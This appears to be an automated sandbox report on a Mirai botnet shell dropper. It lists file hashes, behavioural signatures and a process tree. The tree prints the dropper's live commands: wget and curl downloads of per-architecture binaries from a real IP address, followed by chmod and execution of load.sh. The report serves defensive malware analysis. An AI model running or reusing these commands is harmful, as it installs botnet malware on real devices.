Analysis
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max time kernel
15s -
max time network
47s -
platform
debian-9_armhf -
resource
debian9-armhf-20240729-en -
resource tags
arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
18-10-2024 01:24
Static task
static1
Behavioral task
behavioral1
Sample
2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh
Resource
debian9-mipsbe-20240611-en
General
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Target
2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh
-
Size
4KB
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MD5
5c6503e384afa4d121f7cf871bb3e4a2
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SHA1
c7339a2f6aee5906171bb9c8f2437304abbce793
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SHA256
2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20
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SHA512
6a9c53dba30867099865c24f5394deefd616a5a3dd63e5193592fb7700d5c547258929f81b62cfbc698d4f0dbde7701077b75e9c721e8d7de24e05fef119a038
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SSDEEP
96:vNVjdNw4ENx/pNN7VNdMdEpFGNn9vNUswN2maNRfZN3t3NueqNySeNGWyNPlk:UO4Fk
Malware Config
Extracted
mirai
UNSTABLE
Extracted
mirai
UNSTABLE
Signatures
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Contacts a large (8103) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 9 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 720 chmod 812 chmod 673 chmod 683 chmod 699 chmod 745 chmod 759 chmod 767 chmod 806 chmod -
Executes dropped EXE 9 IoCs
ioc pid Process /tmp/load.sh 675 load.sh /tmp/load.sh 684 load.sh /tmp/load.sh 700 load.sh /tmp/load.sh 721 load.sh /tmp/load.sh 747 load.sh /tmp/load.sh 760 load.sh /tmp/load.sh 769 load.sh /tmp/load.sh 807 load.sh /tmp/load.sh 813 load.sh -
Modifies Watchdog functionality 1 TTPs 4 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/misc/watchdog load.sh File opened for modification /dev/watchdog load.sh File opened for modification /dev/misc/watchdog load.sh File opened for modification /dev/watchdog load.sh -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp load.sh -
Writes file to system bin folder 4 IoCs
description ioc Process File opened for modification /bin/watchdog load.sh File opened for modification /sbin/watchdog load.sh File opened for modification /bin/watchdog load.sh File opened for modification /sbin/watchdog load.sh -
resource yara_rule behavioral2/files/fstream-1.dat upx behavioral2/files/fstream-4.dat upx behavioral2/files/fstream-5.dat upx behavioral2/files/fstream-6.dat upx behavioral2/files/fstream-7.dat upx -
Changes its process name 2 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself a 721 load.sh Changes the process name, possibly in an attempt to hide itself a 769 load.sh -
Checks CPU configuration 1 TTPs 9 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp load.sh -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/exe load.sh File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/exe load.sh File opened for reading /proc/self/exe load.sh File opened for reading /proc/self/exe load.sh File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 678 wget 681 curl 682 cat -
Writes file to tmp directory 19 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86 wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.mpsl curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm5 wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm7 wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm7 curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.m68k curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86 curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.mips wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.mips curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.mpsl wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.ppc wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.m68k wget File opened for modification /tmp/load.sh 2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm6 wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm6 curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm5 curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.ppc curl
Processes
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/tmp/2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh/tmp/2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh1⤵
- Writes file to tmp directory
PID:646 -
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x862⤵
- Writes file to tmp directory
PID:648
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/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:661
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/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.x862⤵PID:671
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/bin/chmodchmod +x 2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-DcNmHu2⤵
- File and Directory Permissions Modification
PID:673
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/tmp/load.sh./load.sh sshm2⤵
- Executes dropped EXE
PID:675
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/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:678
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/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:681
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/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.mips2⤵
- System Network Configuration Discovery
PID:682
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/bin/chmodchmod +x 2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-DcNmHu2⤵
- File and Directory Permissions Modification
PID:683
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/tmp/load.sh./load.sh sshm2⤵
- Executes dropped EXE
PID:684
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/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl2⤵
- Writes file to tmp directory
PID:686
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/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:691
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/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.mpsl2⤵PID:697
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/bin/chmodchmod +x 2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-DcNmHu2⤵
- File and Directory Permissions Modification
PID:699
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/tmp/load.sh./load.sh sshm2⤵
- Executes dropped EXE
PID:700
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/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm2⤵
- Writes file to tmp directory
PID:702
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/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:709
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/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.arm2⤵PID:718
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/bin/chmodchmod +x 2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-DcNmHu2⤵
- File and Directory Permissions Modification
PID:720
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/tmp/load.sh./load.sh sshm2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Changes its process name
- Reads runtime system information
PID:721
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/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm52⤵
- Writes file to tmp directory
PID:724
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/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm52⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:736
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/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.arm52⤵PID:744
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/bin/chmodchmod +x 2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-DcNmHu2⤵
- File and Directory Permissions Modification
PID:745
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/tmp/load.sh./load.sh sshm2⤵
- Executes dropped EXE
- Reads runtime system information
PID:747
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/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm62⤵
- Writes file to tmp directory
PID:748
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/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm62⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:753
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/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.arm62⤵PID:758
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/bin/chmodchmod +x 2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-DcNmHu2⤵
- File and Directory Permissions Modification
PID:759
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/tmp/load.sh./load.sh sshm2⤵
- Executes dropped EXE
- Reads runtime system information
PID:760
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/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm72⤵
- Writes file to tmp directory
PID:761
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/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm72⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:762
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/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.arm72⤵PID:765
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/bin/chmodchmod +x 2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-DcNmHu2⤵
- File and Directory Permissions Modification
PID:767
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/tmp/load.sh./load.sh sshm2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Writes file to system bin folder
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:769
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/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc2⤵
- Writes file to tmp directory
PID:797
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/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:804
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/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.ppc2⤵PID:805
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/bin/chmodchmod +x 2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-DcNmHu2⤵
- File and Directory Permissions Modification
PID:806
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/tmp/load.sh./load.sh sshm2⤵
- Executes dropped EXE
PID:807
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/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k2⤵
- Writes file to tmp directory
PID:809
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/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:810
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/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.m68k2⤵PID:811
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/bin/chmodchmod +x 2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-DcNmHu2⤵
- File and Directory Permissions Modification
PID:812
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/tmp/load.sh./load.sh sshm2⤵
- Executes dropped EXE
PID:813
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/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc2⤵PID:815
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
33KB
MD56d1b6e91b1e2037fbf62ca7ddcf04932
SHA1d0769095ec2e678074eb206b3537022129c1a776
SHA2567f307860b88d639313ebd4195f1ef6a8d668d1941c6cbf6dc968961b1fe42782
SHA5127397ef3b4f7d34b0637de721f38ac833ad6d526e9b7cdbc08fdb4b261fa675001a8079ff4b9378fa219090a945126832cb1ab3db86b35da0090b20051d31bb38
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Filesize
35KB
MD5fd5d7deebbb62aee931a1701a1042450
SHA14adc94ce9de13647815a16d6514b73e109c80785
SHA2567a36bd7a9d19b6d48807264712141dd0543ffebd9db923a76799ffd687f352c9
SHA512cb7beeb8d88ad48ac447b69b215738cdf1d706cb88c4945d0a0837c07dfe41a74107f9c4d7fccc5c7e5719ee9a912452ba3c53c360252bd46978f5d27c1b6df4
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Filesize
37KB
MD5144cc0c6dfb6f6e395065b02825a9ad1
SHA1dfe5d7d8bef4511b42be1ae0235f7469d97bf789
SHA256117cd63b79b8c0d3753ac6907206872d6527c2d6a641776c1021302d5dcec2b2
SHA5129e5ca9ee3ebef09688d74de6bb4af9d6c1003173ee5846cd2370d4774e9bc92fef317113b19529cd2a5b1d18a38a626ebf6ed2da05e6c7b66e0d1b69d8ddc5d5
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Filesize
34KB
MD5b478298246ee6d313f4f576d0f7ec4cd
SHA194d25c6d4cfb1e218120d378d14c8d5ab868363b
SHA256ed04f35cc6c4bef7ea8bf398436da916ebfab2490c10bd1d59df70f648e80df5
SHA51283f67116e5c7074dcfa0e98d94697a0db2bdcaed15060aa31ed6a20eb543fd1d10d8fe26856178f78cc7402531de358e4b6c1d294086b18ab891d23954e78307
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Filesize
30KB
MD5d8893525da7152c787dcc7d6309a61ba
SHA187fa7fb894caaa77a9caa7bca6a5fd3fbe09f7cd
SHA2562a1b03ac26cc72118fb419de4bee3352adf536ee4d5472e8cee14150ca53b8ef
SHA5128fcf808c627c080350adcf005df853a6c1f3fb3e3b2b5d2745a972dcc4064ff731f7cebbbd7d4e8c9ade91727f587356f844b783fa6c90a2191b80a38ca1f6e6
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Filesize
81KB
MD5be7b5d0f87efeb752cefc89442d7161f
SHA1336d812fd007007f3d613480a782f851881eaf87
SHA256a2d47438ad3da55b76213c95deebe0a1953f92480a215ec562dfadd47d4c7833
SHA512b0bacfb41b023e7d71cdf2464b39abec67cb96182018d43d0cd3197f152e3796e8af28c99a423a4585aa6992302737c56bd4dddd00ceefdb5ff4cf3c54008c17